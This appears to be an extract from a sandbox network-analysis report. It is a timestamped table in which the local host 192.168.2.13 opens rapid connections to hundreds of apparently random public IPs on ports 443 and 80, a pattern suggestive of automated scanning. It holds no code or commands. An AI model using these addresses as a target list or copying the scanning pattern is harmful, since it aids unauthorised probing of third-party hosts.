Mar 21, 2024 05:16:56.484153032 CET	43602	443	192.168.2.13	2.134.202.101
Mar 21, 2024 05:16:56.484154940 CET	43602	443	192.168.2.13	109.94.210.4
Mar 21, 2024 05:16:56.484162092 CET	43602	443	192.168.2.13	79.66.2.107
Mar 21, 2024 05:16:56.484175920 CET	43602	443	192.168.2.13	178.213.21.28
Mar 21, 2024 05:16:56.484177113 CET	43602	443	192.168.2.13	94.99.42.211
Mar 21, 2024 05:16:56.484178066 CET	43602	443	192.168.2.13	5.37.255.148
Mar 21, 2024 05:16:56.484181881 CET	43602	443	192.168.2.13	42.198.214.179
Mar 21, 2024 05:16:56.484183073 CET	443	43602	178.213.21.28	192.168.2.13
Mar 21, 2024 05:16:56.484183073 CET	43602	443	192.168.2.13	118.126.141.202
Mar 21, 2024 05:16:56.484189987 CET	443	43602	42.198.214.179	192.168.2.13
Mar 21, 2024 05:16:56.484193087 CET	443	43602	5.37.255.148	192.168.2.13
Mar 21, 2024 05:16:56.484194994 CET	443	43602	118.126.141.202	192.168.2.13
Mar 21, 2024 05:16:56.484210968 CET	43602	443	192.168.2.13	94.49.235.3
Mar 21, 2024 05:16:56.484210968 CET	43602	443	192.168.2.13	79.94.221.44
Mar 21, 2024 05:16:56.484215021 CET	43602	443	192.168.2.13	37.163.162.181
Mar 21, 2024 05:16:56.484224081 CET	443	43602	94.49.235.3	192.168.2.13
Mar 21, 2024 05:16:56.484230042 CET	443	43602	37.163.162.181	192.168.2.13
Mar 21, 2024 05:16:56.484231949 CET	43602	443	192.168.2.13	178.213.21.28
Mar 21, 2024 05:16:56.484234095 CET	43602	443	192.168.2.13	5.37.255.148
Mar 21, 2024 05:16:56.484235048 CET	43602	443	192.168.2.13	42.198.214.179
Mar 21, 2024 05:16:56.484236956 CET	43602	443	192.168.2.13	118.126.141.202
Mar 21, 2024 05:16:56.484237909 CET	443	43602	79.94.221.44	192.168.2.13
Mar 21, 2024 05:16:56.484245062 CET	43602	443	192.168.2.13	2.5.41.234
Mar 21, 2024 05:16:56.484253883 CET	443	43602	2.5.41.234	192.168.2.13
Mar 21, 2024 05:16:56.484257936 CET	43602	443	192.168.2.13	109.26.190.123
Mar 21, 2024 05:16:56.484257936 CET	43602	443	192.168.2.13	210.8.126.232
Mar 21, 2024 05:16:56.484262943 CET	43602	443	192.168.2.13	94.49.235.3
Mar 21, 2024 05:16:56.484262943 CET	43602	443	192.168.2.13	79.94.221.44
Mar 21, 2024 05:16:56.484266043 CET	443	43602	109.26.190.123	192.168.2.13
Mar 21, 2024 05:16:56.484270096 CET	43602	443	192.168.2.13	37.163.162.181
Mar 21, 2024 05:16:56.484276056 CET	443	43602	210.8.126.232	192.168.2.13
Mar 21, 2024 05:16:56.484286070 CET	43602	443	192.168.2.13	5.177.130.136
Mar 21, 2024 05:16:56.484286070 CET	43602	443	192.168.2.13	2.5.41.234
Mar 21, 2024 05:16:56.484298944 CET	443	43602	5.177.130.136	192.168.2.13
Mar 21, 2024 05:16:56.484306097 CET	43602	443	192.168.2.13	109.26.190.123
Mar 21, 2024 05:16:56.484306097 CET	43602	443	192.168.2.13	210.8.126.232
Mar 21, 2024 05:16:56.484363079 CET	43602	443	192.168.2.13	5.177.130.136
Mar 21, 2024 05:16:56.485256910 CET	43602	443	192.168.2.13	212.143.49.44
Mar 21, 2024 05:16:56.485263109 CET	443	43602	212.143.49.44	192.168.2.13
Mar 21, 2024 05:16:56.485280037 CET	43602	443	192.168.2.13	79.70.9.156
Mar 21, 2024 05:16:56.485282898 CET	43602	443	192.168.2.13	42.200.42.106
Mar 21, 2024 05:16:56.485285044 CET	43602	443	192.168.2.13	118.36.87.162
Mar 21, 2024 05:16:56.485285044 CET	43602	443	192.168.2.13	2.204.28.176
Mar 21, 2024 05:16:56.485285044 CET	43602	443	192.168.2.13	94.188.225.3
Mar 21, 2024 05:16:56.485287905 CET	443	43602	79.70.9.156	192.168.2.13
Mar 21, 2024 05:16:56.485296011 CET	443	43602	118.36.87.162	192.168.2.13
Mar 21, 2024 05:16:56.485296011 CET	43602	443	192.168.2.13	212.143.49.44
Mar 21, 2024 05:16:56.485299110 CET	443	43602	42.200.42.106	192.168.2.13
Mar 21, 2024 05:16:56.485305071 CET	443	43602	2.204.28.176	192.168.2.13
Mar 21, 2024 05:16:56.485316038 CET	43602	443	192.168.2.13	94.215.50.43
Mar 21, 2024 05:16:56.485316038 CET	43602	443	192.168.2.13	42.95.159.135
Mar 21, 2024 05:16:56.485316992 CET	43602	443	192.168.2.13	79.160.65.32
Mar 21, 2024 05:16:56.485318899 CET	443	43602	94.188.225.3	192.168.2.13
Mar 21, 2024 05:16:56.485321045 CET	43602	443	192.168.2.13	79.70.9.156
Mar 21, 2024 05:16:56.485322952 CET	443	43602	79.160.65.32	192.168.2.13
Mar 21, 2024 05:16:56.485330105 CET	43602	443	192.168.2.13	118.36.87.162
Mar 21, 2024 05:16:56.485331059 CET	443	43602	94.215.50.43	192.168.2.13
Mar 21, 2024 05:16:56.485332012 CET	43602	443	192.168.2.13	118.21.217.80
Mar 21, 2024 05:16:56.485332012 CET	43602	443	192.168.2.13	42.200.42.106
Mar 21, 2024 05:16:56.485335112 CET	43602	443	192.168.2.13	2.204.28.176
Mar 21, 2024 05:16:56.485338926 CET	443	43602	118.21.217.80	192.168.2.13
Mar 21, 2024 05:16:56.485346079 CET	443	43602	42.95.159.135	192.168.2.13
Mar 21, 2024 05:16:56.485349894 CET	43602	443	192.168.2.13	94.188.225.3
Mar 21, 2024 05:16:56.485352993 CET	43602	443	192.168.2.13	79.160.65.32
Mar 21, 2024 05:16:56.485364914 CET	43602	443	192.168.2.13	94.215.50.43
Mar 21, 2024 05:16:56.485387087 CET	43602	443	192.168.2.13	42.95.159.135
Mar 21, 2024 05:16:56.485387087 CET	43602	443	192.168.2.13	2.243.218.118
Mar 21, 2024 05:16:56.485394001 CET	43602	443	192.168.2.13	94.32.131.255
Mar 21, 2024 05:16:56.485395908 CET	443	43602	2.243.218.118	192.168.2.13
Mar 21, 2024 05:16:56.485404015 CET	443	43602	94.32.131.255	192.168.2.13
Mar 21, 2024 05:16:56.485407114 CET	43602	443	192.168.2.13	118.21.217.80
Mar 21, 2024 05:16:56.485408068 CET	43602	443	192.168.2.13	5.89.243.177
Mar 21, 2024 05:16:56.485413074 CET	43602	443	192.168.2.13	42.90.142.97
Mar 21, 2024 05:16:56.485414028 CET	443	43602	5.89.243.177	192.168.2.13
Mar 21, 2024 05:16:56.485415936 CET	43602	443	192.168.2.13	210.141.126.47
Mar 21, 2024 05:16:56.485419035 CET	43602	443	192.168.2.13	109.18.142.192
Mar 21, 2024 05:16:56.485419989 CET	443	43602	42.90.142.97	192.168.2.13
Mar 21, 2024 05:16:56.485423088 CET	443	43602	210.141.126.47	192.168.2.13
Mar 21, 2024 05:16:56.485424042 CET	443	43602	109.18.142.192	192.168.2.13
Mar 21, 2024 05:16:56.485430956 CET	43602	443	192.168.2.13	94.32.131.255
Mar 21, 2024 05:16:56.485438108 CET	43602	443	192.168.2.13	5.87.127.152
Mar 21, 2024 05:16:56.485438108 CET	43602	443	192.168.2.13	94.105.113.2
Mar 21, 2024 05:16:56.485446930 CET	43602	443	192.168.2.13	2.243.218.118
Mar 21, 2024 05:16:56.485446930 CET	43602	443	192.168.2.13	42.211.215.195
Mar 21, 2024 05:16:56.485449076 CET	43602	443	192.168.2.13	42.90.142.97
Mar 21, 2024 05:16:56.485452890 CET	443	43602	5.87.127.152	192.168.2.13
Mar 21, 2024 05:16:56.485455990 CET	43602	443	192.168.2.13	109.18.142.192
Mar 21, 2024 05:16:56.485459089 CET	443	43602	94.105.113.2	192.168.2.13
Mar 21, 2024 05:16:56.485459089 CET	443	43602	42.211.215.195	192.168.2.13
Mar 21, 2024 05:16:56.485469103 CET	43602	443	192.168.2.13	5.89.243.177
Mar 21, 2024 05:16:56.485476017 CET	43602	443	192.168.2.13	210.141.126.47
Mar 21, 2024 05:16:56.485476017 CET	43602	443	192.168.2.13	37.167.207.131
Mar 21, 2024 05:16:56.485485077 CET	43602	443	192.168.2.13	178.51.70.242
Mar 21, 2024 05:16:56.485486031 CET	443	43602	37.167.207.131	192.168.2.13
Mar 21, 2024 05:16:56.485490084 CET	443	43602	178.51.70.242	192.168.2.13
Mar 21, 2024 05:16:56.485493898 CET	43602	443	192.168.2.13	42.211.215.195
Mar 21, 2024 05:16:56.485505104 CET	43602	443	192.168.2.13	5.87.127.152
Mar 21, 2024 05:16:56.485505104 CET	43602	443	192.168.2.13	94.105.113.2
Mar 21, 2024 05:16:56.485521078 CET	43602	443	192.168.2.13	178.206.69.45
Mar 21, 2024 05:16:56.485521078 CET	43602	443	192.168.2.13	37.167.207.131
Mar 21, 2024 05:16:56.485527039 CET	43602	443	192.168.2.13	178.51.70.242
Mar 21, 2024 05:16:56.485529900 CET	443	43602	178.206.69.45	192.168.2.13
Mar 21, 2024 05:16:56.485532045 CET	43602	443	192.168.2.13	212.107.6.53
Mar 21, 2024 05:16:56.485538006 CET	443	43602	212.107.6.53	192.168.2.13
Mar 21, 2024 05:16:56.485548019 CET	43602	443	192.168.2.13	79.49.173.168
Mar 21, 2024 05:16:56.485553980 CET	43602	443	192.168.2.13	42.225.131.160
Mar 21, 2024 05:16:56.485553980 CET	43602	443	192.168.2.13	42.140.52.50
Mar 21, 2024 05:16:56.485554934 CET	43602	443	192.168.2.13	37.166.49.47
Mar 21, 2024 05:16:56.485558033 CET	443	43602	79.49.173.168	192.168.2.13
Mar 21, 2024 05:16:56.485560894 CET	43602	443	192.168.2.13	178.124.166.254
Mar 21, 2024 05:16:56.485560894 CET	443	43602	37.166.49.47	192.168.2.13
Mar 21, 2024 05:16:56.485567093 CET	443	43602	42.225.131.160	192.168.2.13
Mar 21, 2024 05:16:56.485568047 CET	443	43602	178.124.166.254	192.168.2.13
Mar 21, 2024 05:16:56.485569000 CET	43602	443	192.168.2.13	212.107.6.53
Mar 21, 2024 05:16:56.485580921 CET	443	43602	42.140.52.50	192.168.2.13
Mar 21, 2024 05:16:56.485589981 CET	43602	443	192.168.2.13	178.206.69.45
Mar 21, 2024 05:16:56.485590935 CET	43602	443	192.168.2.13	5.102.15.49
Mar 21, 2024 05:16:56.485590935 CET	43602	443	192.168.2.13	42.225.131.160
Mar 21, 2024 05:16:56.485599041 CET	43602	443	192.168.2.13	37.166.49.47
Mar 21, 2024 05:16:56.485600948 CET	443	43602	5.102.15.49	192.168.2.13
Mar 21, 2024 05:16:56.485614061 CET	43602	443	192.168.2.13	42.140.52.50
Mar 21, 2024 05:16:56.485614061 CET	43602	443	192.168.2.13	79.49.173.168
Mar 21, 2024 05:16:56.485615015 CET	43602	443	192.168.2.13	178.124.166.254
Mar 21, 2024 05:16:56.485641956 CET	43602	443	192.168.2.13	5.102.15.49
Mar 21, 2024 05:16:56.485785961 CET	44114	80	192.168.2.13	50.19.31.50
Mar 21, 2024 05:16:56.485791922 CET	44114	80	192.168.2.13	41.77.167.50
Mar 21, 2024 05:16:56.485795021 CET	44114	80	192.168.2.13	165.87.170.114
Mar 21, 2024 05:16:56.485814095 CET	44114	80	192.168.2.13	43.85.200.93
Mar 21, 2024 05:16:56.485824108 CET	44114	80	192.168.2.13	159.12.63.157
Mar 21, 2024 05:16:56.485825062 CET	44114	80	192.168.2.13	107.78.222.26
Mar 21, 2024 05:16:56.485833883 CET	44114	80	192.168.2.13	152.104.62.47
Mar 21, 2024 05:16:56.485835075 CET	44114	80	192.168.2.13	98.97.86.138
Mar 21, 2024 05:16:56.485836029 CET	44114	80	192.168.2.13	153.125.246.18
Mar 21, 2024 05:16:56.485861063 CET	44114	80	192.168.2.13	31.20.106.215
Mar 21, 2024 05:16:56.485861063 CET	44114	80	192.168.2.13	95.36.247.26
Mar 21, 2024 05:16:56.485862970 CET	44114	80	192.168.2.13	110.13.93.207
Mar 21, 2024 05:16:56.485866070 CET	44114	80	192.168.2.13	165.34.91.89
Mar 21, 2024 05:16:56.485866070 CET	44114	80	192.168.2.13	187.130.109.183
Mar 21, 2024 05:16:56.485872984 CET	44114	80	192.168.2.13	138.70.24.97
Mar 21, 2024 05:16:56.485883951 CET	44114	80	192.168.2.13	186.25.224.26
Mar 21, 2024 05:16:56.485883951 CET	44114	80	192.168.2.13	109.14.150.151
Mar 21, 2024 05:16:56.485883951 CET	44114	80	192.168.2.13	89.93.156.214
Mar 21, 2024 05:16:56.485883951 CET	44114	80	192.168.2.13	12.25.160.115
Mar 21, 2024 05:16:56.485886097 CET	44114	80	192.168.2.13	190.66.255.128
Mar 21, 2024 05:16:56.485886097 CET	44114	80	192.168.2.13	32.238.84.169
Mar 21, 2024 05:16:56.485899925 CET	44114	80	192.168.2.13	85.157.11.185
Mar 21, 2024 05:16:56.485905886 CET	44114	80	192.168.2.13	2.217.233.154
Mar 21, 2024 05:16:56.485905886 CET	44114	80	192.168.2.13	174.191.217.18
Mar 21, 2024 05:16:56.485913038 CET	44114	80	192.168.2.13	171.7.69.57
Mar 21, 2024 05:16:56.485914946 CET	44114	80	192.168.2.13	50.12.182.57
Mar 21, 2024 05:16:56.485915899 CET	44114	80	192.168.2.13	187.230.75.66
Mar 21, 2024 05:16:56.485929966 CET	44114	80	192.168.2.13	126.148.134.250
Mar 21, 2024 05:16:56.485929966 CET	44114	80	192.168.2.13	170.151.192.250
Mar 21, 2024 05:16:56.485941887 CET	44114	80	192.168.2.13	106.154.71.253
Mar 21, 2024 05:16:56.485951900 CET	44114	80	192.168.2.13	151.19.17.103
Mar 21, 2024 05:16:56.485959053 CET	44114	80	192.168.2.13	48.177.53.185
Mar 21, 2024 05:16:56.485972881 CET	44114	80	192.168.2.13	81.164.179.240
Mar 21, 2024 05:16:56.485976934 CET	44114	80	192.168.2.13	125.54.29.244
Mar 21, 2024 05:16:56.485976934 CET	44114	80	192.168.2.13	149.28.160.157
Mar 21, 2024 05:16:56.485980034 CET	44114	80	192.168.2.13	218.128.178.202
Mar 21, 2024 05:16:56.485987902 CET	44114	80	192.168.2.13	68.242.243.109
Mar 21, 2024 05:16:56.485989094 CET	44114	80	192.168.2.13	212.107.189.61
Mar 21, 2024 05:16:56.486004114 CET	44114	80	192.168.2.13	150.138.99.235
Mar 21, 2024 05:16:56.486005068 CET	44114	80	192.168.2.13	185.194.151.226
Mar 21, 2024 05:16:56.486005068 CET	44114	80	192.168.2.13	119.4.208.242
Mar 21, 2024 05:16:56.486016989 CET	43602	443	192.168.2.13	79.114.0.47
Mar 21, 2024 05:16:56.486018896 CET	43602	443	192.168.2.13	109.218.129.146
Mar 21, 2024 05:16:56.486021996 CET	443	43602	79.114.0.47	192.168.2.13
Mar 21, 2024 05:16:56.486027956 CET	443	43602	109.218.129.146	192.168.2.13
Mar 21, 2024 05:16:56.486031055 CET	43602	443	192.168.2.13	42.177.48.130
Mar 21, 2024 05:16:56.486031055 CET	43602	443	192.168.2.13	5.10.250.117
Mar 21, 2024 05:16:56.486031055 CET	43602	443	192.168.2.13	210.208.34.144
Mar 21, 2024 05:16:56.486043930 CET	443	43602	42.177.48.130	192.168.2.13
Mar 21, 2024 05:16:56.486049891 CET	443	43602	5.10.250.117	192.168.2.13
Mar 21, 2024 05:16:56.486053944 CET	43602	443	192.168.2.13	79.114.0.47
Mar 21, 2024 05:16:56.486053944 CET	443	43602	210.208.34.144	192.168.2.13
Mar 21, 2024 05:16:56.486066103 CET	43602	443	192.168.2.13	109.218.129.146
Mar 21, 2024 05:16:56.486073017 CET	43602	443	192.168.2.13	42.177.48.130
Mar 21, 2024 05:16:56.486073017 CET	43602	443	192.168.2.13	109.40.223.97
Mar 21, 2024 05:16:56.486078978 CET	43602	443	192.168.2.13	5.59.240.161
Mar 21, 2024 05:16:56.486082077 CET	443	43602	109.40.223.97	192.168.2.13
Mar 21, 2024 05:16:56.486084938 CET	443	43602	5.59.240.161	192.168.2.13
Mar 21, 2024 05:16:56.486088991 CET	43602	443	192.168.2.13	5.10.250.117
Mar 21, 2024 05:16:56.486093998 CET	43602	443	192.168.2.13	212.244.163.77
Mar 21, 2024 05:16:56.486094952 CET	43602	443	192.168.2.13	37.92.147.227
Mar 21, 2024 05:16:56.486098051 CET	43602	443	192.168.2.13	212.77.29.111
Mar 21, 2024 05:16:56.486098051 CET	43602	443	192.168.2.13	37.80.175.8
Mar 21, 2024 05:16:56.486100912 CET	443	43602	37.92.147.227	192.168.2.13
Mar 21, 2024 05:16:56.486103058 CET	443	43602	212.244.163.77	192.168.2.13
Mar 21, 2024 05:16:56.486104965 CET	443	43602	212.77.29.111	192.168.2.13
Mar 21, 2024 05:16:56.486109972 CET	43602	443	192.168.2.13	210.208.34.144
Mar 21, 2024 05:16:56.486114025 CET	443	43602	37.80.175.8	192.168.2.13
Mar 21, 2024 05:16:56.486118078 CET	43602	443	192.168.2.13	42.152.97.221
Mar 21, 2024 05:16:56.486118078 CET	43602	443	192.168.2.13	5.59.240.161
Mar 21, 2024 05:16:56.486119986 CET	43602	443	192.168.2.13	109.40.223.97
Mar 21, 2024 05:16:56.486128092 CET	443	43602	42.152.97.221	192.168.2.13
Mar 21, 2024 05:16:56.486134052 CET	43602	443	192.168.2.13	37.218.8.220
Mar 21, 2024 05:16:56.486134052 CET	43602	443	192.168.2.13	37.92.147.227
Mar 21, 2024 05:16:56.486140966 CET	443	43602	37.218.8.220	192.168.2.13
Mar 21, 2024 05:16:56.486140966 CET	43602	443	192.168.2.13	212.77.29.111
Mar 21, 2024 05:16:56.486140966 CET	43602	443	192.168.2.13	37.80.175.8
Mar 21, 2024 05:16:56.486155033 CET	43602	443	192.168.2.13	178.120.166.193
Mar 21, 2024 05:16:56.486156940 CET	43602	443	192.168.2.13	212.244.163.77
Mar 21, 2024 05:16:56.486160994 CET	43602	443	192.168.2.13	42.152.97.221
Mar 21, 2024 05:16:56.486160994 CET	443	43602	178.120.166.193	192.168.2.13
Mar 21, 2024 05:16:56.486177921 CET	43602	443	192.168.2.13	37.218.8.220
Mar 21, 2024 05:16:56.486182928 CET	43602	443	192.168.2.13	5.252.118.111
Mar 21, 2024 05:16:56.486183882 CET	43602	443	192.168.2.13	94.118.202.38
Mar 21, 2024 05:16:56.486190081 CET	443	43602	94.118.202.38	192.168.2.13
Mar 21, 2024 05:16:56.486196041 CET	443	43602	5.252.118.111	192.168.2.13
Mar 21, 2024 05:16:56.486212969 CET	43602	443	192.168.2.13	178.17.97.156
Mar 21, 2024 05:16:56.486215115 CET	43602	443	192.168.2.13	178.46.192.218
Mar 21, 2024 05:16:56.486217976 CET	43602	443	192.168.2.13	79.250.54.85
Mar 21, 2024 05:16:56.486217976 CET	43602	443	192.168.2.13	5.252.118.111
Mar 21, 2024 05:16:56.486219883 CET	43602	443	192.168.2.13	178.120.166.193
Mar 21, 2024 05:16:56.486219883 CET	43602	443	192.168.2.13	178.86.120.76
Mar 21, 2024 05:16:56.486221075 CET	443	43602	178.46.192.218	192.168.2.13
Mar 21, 2024 05:16:56.486223936 CET	43602	443	192.168.2.13	94.118.202.38
Mar 21, 2024 05:16:56.486226082 CET	443	43602	178.17.97.156	192.168.2.13
Mar 21, 2024 05:16:56.486229897 CET	443	43602	79.250.54.85	192.168.2.13
Mar 21, 2024 05:16:56.486232996 CET	443	43602	178.86.120.76	192.168.2.13
Mar 21, 2024 05:16:56.486242056 CET	43602	443	192.168.2.13	5.47.255.1
Mar 21, 2024 05:16:56.486248016 CET	443	43602	5.47.255.1	192.168.2.13
Mar 21, 2024 05:16:56.486252069 CET	43602	443	192.168.2.13	79.250.54.85
Mar 21, 2024 05:16:56.486258984 CET	43602	443	192.168.2.13	178.46.192.218
Mar 21, 2024 05:16:56.486260891 CET	43602	443	192.168.2.13	178.17.97.156
Mar 21, 2024 05:16:56.486270905 CET	43602	443	192.168.2.13	178.86.120.76
Mar 21, 2024 05:16:56.486284971 CET	43602	443	192.168.2.13	5.47.255.1
Mar 21, 2024 05:16:56.486284971 CET	43602	443	192.168.2.13	212.205.55.105
Mar 21, 2024 05:16:56.486285925 CET	43602	443	192.168.2.13	94.171.231.210
Mar 21, 2024 05:16:56.486287117 CET	43602	443	192.168.2.13	37.217.181.144
Mar 21, 2024 05:16:56.486291885 CET	443	43602	37.217.181.144	192.168.2.13
Mar 21, 2024 05:16:56.486293077 CET	443	43602	212.205.55.105	192.168.2.13
Mar 21, 2024 05:16:56.486293077 CET	43602	443	192.168.2.13	2.140.141.207
Mar 21, 2024 05:16:56.486294031 CET	43602	443	192.168.2.13	79.245.231.212
Mar 21, 2024 05:16:56.486294031 CET	443	43602	94.171.231.210	192.168.2.13
Mar 21, 2024 05:16:56.486299992 CET	443	43602	79.245.231.212	192.168.2.13
Mar 21, 2024 05:16:56.486304998 CET	43602	443	192.168.2.13	94.32.178.107
Mar 21, 2024 05:16:56.486310959 CET	443	43602	2.140.141.207	192.168.2.13
Mar 21, 2024 05:16:56.486311913 CET	443	43602	94.32.178.107	192.168.2.13
Mar 21, 2024 05:16:56.486316919 CET	43602	443	192.168.2.13	212.205.55.105
Mar 21, 2024 05:16:56.486321926 CET	43602	443	192.168.2.13	37.47.211.46
Mar 21, 2024 05:16:56.486324072 CET	43602	443	192.168.2.13	79.245.231.212
Mar 21, 2024 05:16:56.486326933 CET	443	43602	37.47.211.46	192.168.2.13
Mar 21, 2024 05:16:56.486336946 CET	43602	443	192.168.2.13	37.217.181.144
Mar 21, 2024 05:16:56.486339092 CET	43602	443	192.168.2.13	94.32.178.107
Mar 21, 2024 05:16:56.486356020 CET	43602	443	192.168.2.13	94.171.231.210
Mar 21, 2024 05:16:56.486357927 CET	43602	443	192.168.2.13	2.140.141.207
Mar 21, 2024 05:16:56.486357927 CET	43602	443	192.168.2.13	37.47.211.46
Mar 21, 2024 05:16:56.486377954 CET	43602	443	192.168.2.13	5.138.49.57
Mar 21, 2024 05:16:56.486380100 CET	43602	443	192.168.2.13	210.112.73.206
Mar 21, 2024 05:16:56.486382008 CET	43602	443	192.168.2.13	79.219.34.168
Mar 21, 2024 05:16:56.486382961 CET	443	43602	5.138.49.57	192.168.2.13
Mar 21, 2024 05:16:56.486387014 CET	443	43602	210.112.73.206	192.168.2.13
Mar 21, 2024 05:16:56.486392975 CET	443	43602	79.219.34.168	192.168.2.13
Mar 21, 2024 05:16:56.486401081 CET	43602	443	192.168.2.13	109.73.136.22
Mar 21, 2024 05:16:56.486401081 CET	43602	443	192.168.2.13	118.172.130.230
Mar 21, 2024 05:16:56.486406088 CET	43602	443	192.168.2.13	212.68.129.47
Mar 21, 2024 05:16:56.486407042 CET	443	43602	109.73.136.22	192.168.2.13
Mar 21, 2024 05:16:56.486407995 CET	443	43602	118.172.130.230	192.168.2.13
Mar 21, 2024 05:16:56.486411095 CET	443	43602	212.68.129.47	192.168.2.13
Mar 21, 2024 05:16:56.486413956 CET	43602	443	192.168.2.13	210.155.252.176
Mar 21, 2024 05:16:56.486419916 CET	443	43602	210.155.252.176	192.168.2.13
Mar 21, 2024 05:16:56.486440897 CET	43602	443	192.168.2.13	5.138.49.57
Mar 21, 2024 05:16:56.486440897 CET	43602	443	192.168.2.13	118.172.130.230
Mar 21, 2024 05:16:56.486442089 CET	43602	443	192.168.2.13	79.219.34.168
Mar 21, 2024 05:16:56.486443043 CET	43602	443	192.168.2.13	210.112.73.206
Mar 21, 2024 05:16:56.486443043 CET	43602	443	192.168.2.13	109.73.136.22
Mar 21, 2024 05:16:56.486447096 CET	43602	443	192.168.2.13	212.68.129.47
Mar 21, 2024 05:16:56.486449957 CET	43602	443	192.168.2.13	210.155.252.176
Mar 21, 2024 05:16:56.486464977 CET	44114	80	192.168.2.13	202.206.224.5
Mar 21, 2024 05:16:56.486483097 CET	44114	80	192.168.2.13	162.39.183.135
Mar 21, 2024 05:16:56.486485004 CET	44114	80	192.168.2.13	35.244.239.255
Mar 21, 2024 05:16:56.486490965 CET	44114	80	192.168.2.13	223.198.55.44
Mar 21, 2024 05:16:56.486490965 CET	44114	80	192.168.2.13	43.173.143.130
Mar 21, 2024 05:16:56.486505985 CET	44114	80	192.168.2.13	71.120.99.137
Mar 21, 2024 05:16:56.486514091 CET	44114	80	192.168.2.13	113.145.158.25
Mar 21, 2024 05:16:56.486516953 CET	44114	80	192.168.2.13	71.5.123.79
Mar 21, 2024 05:16:56.486525059 CET	44114	80	192.168.2.13	152.53.169.98
Mar 21, 2024 05:16:56.486531019 CET	44114	80	192.168.2.13	81.19.111.88
Mar 21, 2024 05:16:56.486535072 CET	44114	80	192.168.2.13	199.131.169.85
Mar 21, 2024 05:16:56.486541986 CET	44114	80	192.168.2.13	115.110.111.201
Mar 21, 2024 05:16:56.486551046 CET	44114	80	192.168.2.13	139.214.251.128
Mar 21, 2024 05:16:56.486551046 CET	44114	80	192.168.2.13	178.144.199.66
Mar 21, 2024 05:16:56.486551046 CET	44114	80	192.168.2.13	104.36.155.104
Mar 21, 2024 05:16:56.486551046 CET	44114	80	192.168.2.13	54.156.167.173
Mar 21, 2024 05:16:56.486566067 CET	43602	443	192.168.2.13	212.4.55.43
Mar 21, 2024 05:16:56.486572027 CET	43602	443	192.168.2.13	94.186.253.254
Mar 21, 2024 05:16:56.486572027 CET	443	43602	212.4.55.43	192.168.2.13
Mar 21, 2024 05:16:56.486577988 CET	443	43602	94.186.253.254	192.168.2.13
Mar 21, 2024 05:16:56.486577988 CET	43602	443	192.168.2.13	178.228.64.24
Mar 21, 2024 05:16:56.486583948 CET	443	43602	178.228.64.24	192.168.2.13
Mar 21, 2024 05:16:56.486608028 CET	43602	443	192.168.2.13	79.156.141.44
Mar 21, 2024 05:16:56.486612082 CET	43602	443	192.168.2.13	2.208.175.151
Mar 21, 2024 05:16:56.486613035 CET	43602	443	192.168.2.13	178.32.162.222
Mar 21, 2024 05:16:56.486613035 CET	43602	443	192.168.2.13	212.4.55.43
Mar 21, 2024 05:16:56.486613989 CET	43602	443	192.168.2.13	178.228.64.24
Mar 21, 2024 05:16:56.486614943 CET	443	43602	79.156.141.44	192.168.2.13
Mar 21, 2024 05:16:56.486619949 CET	443	43602	2.208.175.151	192.168.2.13
Mar 21, 2024 05:16:56.486620903 CET	443	43602	178.32.162.222	192.168.2.13
Mar 21, 2024 05:16:56.486620903 CET	43602	443	192.168.2.13	94.186.253.254
Mar 21, 2024 05:16:56.486632109 CET	43602	443	192.168.2.13	210.236.103.101
Mar 21, 2024 05:16:56.486638069 CET	443	43602	210.236.103.101	192.168.2.13
Mar 21, 2024 05:16:56.486639023 CET	43602	443	192.168.2.13	2.189.32.243
Mar 21, 2024 05:16:56.486644983 CET	443	43602	2.189.32.243	192.168.2.13
Mar 21, 2024 05:16:56.486651897 CET	44114	80	192.168.2.13	82.33.111.169
Mar 21, 2024 05:16:56.486670017 CET	44114	80	192.168.2.13	57.91.167.131
Mar 21, 2024 05:16:56.486670017 CET	43602	443	192.168.2.13	178.32.162.222
Mar 21, 2024 05:16:56.486670017 CET	44114	80	192.168.2.13	1.97.203.159
Mar 21, 2024 05:16:56.486671925 CET	43602	443	192.168.2.13	210.236.103.101
Mar 21, 2024 05:16:56.486689091 CET	43602	443	192.168.2.13	2.208.175.151
Mar 21, 2024 05:16:56.486689091 CET	43602	443	192.168.2.13	2.189.32.243
Mar 21, 2024 05:16:56.486694098 CET	43602	443	192.168.2.13	79.156.141.44
Mar 21, 2024 05:16:56.486694098 CET	44114	80	192.168.2.13	79.143.253.244
Mar 21, 2024 05:16:56.486694098 CET	44114	80	192.168.2.13	17.112.169.124
Mar 21, 2024 05:16:56.486700058 CET	44114	80	192.168.2.13	155.23.11.225
Mar 21, 2024 05:16:56.486704111 CET	44114	80	192.168.2.13	12.130.137.31
Mar 21, 2024 05:16:56.486711025 CET	44114	80	192.168.2.13	173.215.246.49
Mar 21, 2024 05:16:56.486711025 CET	44114	80	192.168.2.13	174.146.67.12
Mar 21, 2024 05:16:56.486711979 CET	44114	80	192.168.2.13	158.142.92.18
Mar 21, 2024 05:16:56.486732006 CET	43602	443	192.168.2.13	118.96.203.214
Mar 21, 2024 05:16:56.486737013 CET	43602	443	192.168.2.13	37.227.55.48
Mar 21, 2024 05:16:56.486738920 CET	443	43602	118.96.203.214	192.168.2.13
Mar 21, 2024 05:16:56.486747026 CET	443	43602	37.227.55.48	192.168.2.13
Mar 21, 2024 05:16:56.486748934 CET	43602	443	192.168.2.13	42.118.204.147
Mar 21, 2024 05:16:56.486753941 CET	43602	443	192.168.2.13	212.163.92.138
Mar 21, 2024 05:16:56.486753941 CET	43602	443	192.168.2.13	94.64.108.128
Mar 21, 2024 05:16:56.486753941 CET	43602	443	192.168.2.13	118.186.167.1
Mar 21, 2024 05:16:56.486757040 CET	443	43602	42.118.204.147	192.168.2.13
Mar 21, 2024 05:16:56.486768961 CET	443	43602	212.163.92.138	192.168.2.13
Mar 21, 2024 05:16:56.486768961 CET	443	43602	94.64.108.128	192.168.2.13
Mar 21, 2024 05:16:56.486769915 CET	43602	443	192.168.2.13	37.199.210.32
Mar 21, 2024 05:16:56.486778021 CET	43602	443	192.168.2.13	118.96.203.214
Mar 21, 2024 05:16:56.486778975 CET	443	43602	118.186.167.1	192.168.2.13
Mar 21, 2024 05:16:56.486780882 CET	443	43602	37.199.210.32	192.168.2.13
Mar 21, 2024 05:16:56.486788988 CET	43602	443	192.168.2.13	42.118.204.147
Mar 21, 2024 05:16:56.486789942 CET	43602	443	192.168.2.13	37.227.55.48
Mar 21, 2024 05:16:56.486795902 CET	43602	443	192.168.2.13	212.163.92.138
Mar 21, 2024 05:16:56.486800909 CET	43602	443	192.168.2.13	94.64.108.128
Mar 21, 2024 05:16:56.486802101 CET	43602	443	192.168.2.13	79.177.219.39
